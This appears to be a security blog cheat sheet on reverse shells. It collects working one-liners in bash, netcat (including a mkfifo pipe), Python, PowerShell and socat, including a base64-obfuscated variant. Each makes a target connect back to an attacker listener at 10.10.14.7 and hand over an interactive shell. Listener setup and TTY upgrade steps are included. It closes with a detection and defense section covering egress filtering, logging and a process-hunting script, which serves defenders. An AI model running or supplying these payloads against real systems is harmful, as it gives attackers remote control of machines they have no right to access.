Legal & Ethical Notice. This article is for education and authorized security testing only. Run these techniques exclusively against systems you own or have explicit, written permission to assess (a signed engagement, a CTF, or your own lab). Unauthorized access to computer systems is a crime in virtually every jurisdiction. You alone are responsible for how you use this material.
Introduction / Overview
A reverse shell is the workhorse of post-exploitation. Once you achieve command execution on a target, you rarely want to keep pasting commands through a clunky web shell or a blind RCE primitive. Instead, you make the target connect back to you, giving you an interactive command line over the network.
This cheat sheet collects the reverse shell one-liners I reach for most often during engagements — bash, nc, python, and powershell — and then covers the part people skip: turning a raw, fragile connection into a fully interactive TTY with proper job control, history, and tab completion. We finish with a Detection & Defense section so blue teams can spot and stop the exact techniques shown here.
How It Works / Background
A normal "bind" shell listens on the target and waits for you to connect — but inbound ports are usually blocked by firewalls and NAT. A reverse shell inverts this: the attacker runs a listener, and the compromised host initiates an outbound connection (commonly over 443 or 53 to blend with allowed egress traffic). Outbound connections are far more likely to survive perimeter filtering.
The mechanism is simple. The payload redirects a shell process's standard input, output, and error over a TCP socket back to the attacker. The catch is that a freshly spawned /bin/sh over a socket is not a terminal: there's no PTY, so Ctrl-C kills your shell, su/ssh/sudo refuse to read passwords, and vim/less break. That is why stabilization (upgrading to a real TTY) matters.
Prerequisites / Lab Setup
Stand up two VMs on an isolated host-only network: a Kali (attacker) box and a Linux target (e.g., a deliberately vulnerable Ubuntu image). Never test against production or third-party hosts.
On the attacker, start a listener. nc is fine for quick work, but rlwrap gives you readline support, and pwncat/pwncat-cs automates stabilization entirely:
# Plain Netcat listener on 443
nc -lvnp 443
# Better: readline + history wrapper
rlwrap nc -lvnp 443
# Best for catching + auto-upgrading shells
pwncat-cs -lp 443
Attack Walkthrough / PoC
Assume you have command execution on the target via some RCE primitive. Replace 10.10.14.7 and 443 with your listener's IP and port.
Bash
The classic. The /dev/tcp pseudo-device is a Bash builtin (not present in dash/sh):
bash -i >& /dev/tcp/10.10.14.7/443 0>&1
If the execution context mangles redirections, base64-encode it to dodge quoting and bad characters:
echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC43LzQ0MyAwPiYx' | base64 -d | bash
Netcat
If nc supports -e, it's a one-liner. Most modern distros ship the OpenBSD build without -e, so use the named-pipe (mkfifo) variant:
# nc with -e (traditional / busybox build)
nc -e /bin/bash 10.10.14.7 443
# Portable mkfifo trick (no -e required)
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 10.10.14.7 443 > /tmp/f
Python
Cross-platform and almost always installed on Linux. This spawns a PTY-backed /bin/bash, which makes later stabilization cleaner:
python3 -c 'import socket,subprocess,os,pty;s=socket.socket();s.connect(("10.10.14.7",443));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/bash")'
PowerShell (Windows targets)
A TCP client that pipes a cmd.exe-style stream back to your listener:
$c=New-Object System.Net.Sockets.TCPClient("10.10.14.7",443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+"PS "+(pwd).Path+"> ";$sb=([Text.Encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()
In practice you'll often pass this as a -EncodedCommand (Base64 of the UTF-16LE string) to survive command-line escaping.
TTY Upgrade / Stabilization
After catching a raw shell, upgrade it. The most reliable sequence on Linux:
# 1. On the target shell: spawn a PTY
python3 -c 'import pty;pty.spawn("/bin/bash")'
# 2. Background the shell
# Press: Ctrl-Z
# 3. On YOUR Kali box: hand the local terminal raw to the remote
stty raw -echo; fg
# 4. Back in the (now blank) remote shell, fix the environment
export TERM=xterm
stty rows 38 columns 116 # match your local `stty -a` size
Now Ctrl-C, arrow keys, tab completion, su, and vim all behave. Alternatives when Python is absent: script -qc /bin/bash /dev/null, or socat for a fully interactive PTY in one step:
# Attacker
socat file:`tty`,raw,echo=0 tcp-listen:443
# Target
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.7:443
Attack Flow

The diagram shows the target making an outbound connection to the attacker's listener, then the raw socket shell being upgraded into a fully interactive TTY.
Detection & Defense (Blue Team)
Reverse shells map to MITRE ATT&CK T1059 (Command and Scripting Interpreter) and the C2 channel to T1071 (Application Layer Protocol). Defense should be layered:
Network controls.
- Default-deny egress filtering. A web server has no business making outbound connections to arbitrary internet IPs on 443/53. Allow only known destinations and proxy all egress.
- Inspect for anomalies: long-lived outbound TCP sessions with low byte counts, beacon-like timing, or interactive traffic from server workloads. Tools like Zeek and Suricata can flag these.
Endpoint / host controls.
- On Linux, EDR and
auditdrules should alert on shells with redirected file descriptors to a socket. A telltale pattern is a process whose0/1/2file descriptors point to a TCP socket (visible vials -l /proc/<pid>/fd). Hunt forbash -i,/dev/tcp/,mkfifo+nc, andpty.spawnin process command lines. - On Windows, enable PowerShell Script Block Logging (Event ID 4104), Module Logging, and AMSI. The TCPClient one-liner is loud under script block logging. Enabling Constrained Language Mode via WDAC/AppLocker neutralizes most
iex-based stagers. - Use Sysmon: Event ID 1 (process creation) for suspicious interpreters, and Event ID 3 (network connection) correlating
powershell.exe/cmd.exe/python.exeinitiating outbound connections.
Detection rules. Sigma and the YARA-L / Splunk equivalents already exist for /dev/tcp redirection, mkfifo reverse shells, and the stty raw -echo; fg upgrade chain. Deploy them.
# Hunt: find processes whose stdio is a socket (Linux IR one-liner)
for p in /proc/[0-9]*; do
ls -l "$p/fd" 2>/dev/null | grep -q 'socket:' && \
grep -qaE 'bash|sh|python|nc' "$p/comm" 2>/dev/null && echo "Suspect: $p"
done
For deeper coverage of Windows logging, see PowerShell logging and AMSI bypasses, and for egress C2 channels see DNS tunneling detection. If you are hardening a domain, pair this with the controls in Active Directory hardening basics.
Conclusion
A reverse shell is trivial to fire but easy to detect if defenders watch egress and endpoint telemetry. As an attacker, pick the payload that matches the target's available interpreters, then always stabilize to a real TTY before doing anything serious. As a defender, the same indicators that make these shells convenient — outbound connections from server processes and shells wired to sockets — are exactly what you should be alerting on. Master both sides and the technique stops being magic.
References
- MITRE ATT&CK — T1059 Command and Scripting Interpreter: https://attack.mitre.org/techniques/T1059/
- MITRE ATT&CK — T1071 Application Layer Protocol: https://attack.mitre.org/techniques/T1071/
- HackTricks — Reverse Shells (Linux): https://book.hacktricks.xyz/generic-methodologies-and-resources/reverse-shells/linux
- HackTricks — Full TTYs: https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/full-ttys
- PayloadsAllTheThings — Reverse Shell Cheat Sheet: https://github.com/swisskyrepo/PayloadsAllTheThings
- Microsoft — PowerShell Script Block Logging: https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_logging_windows



Comments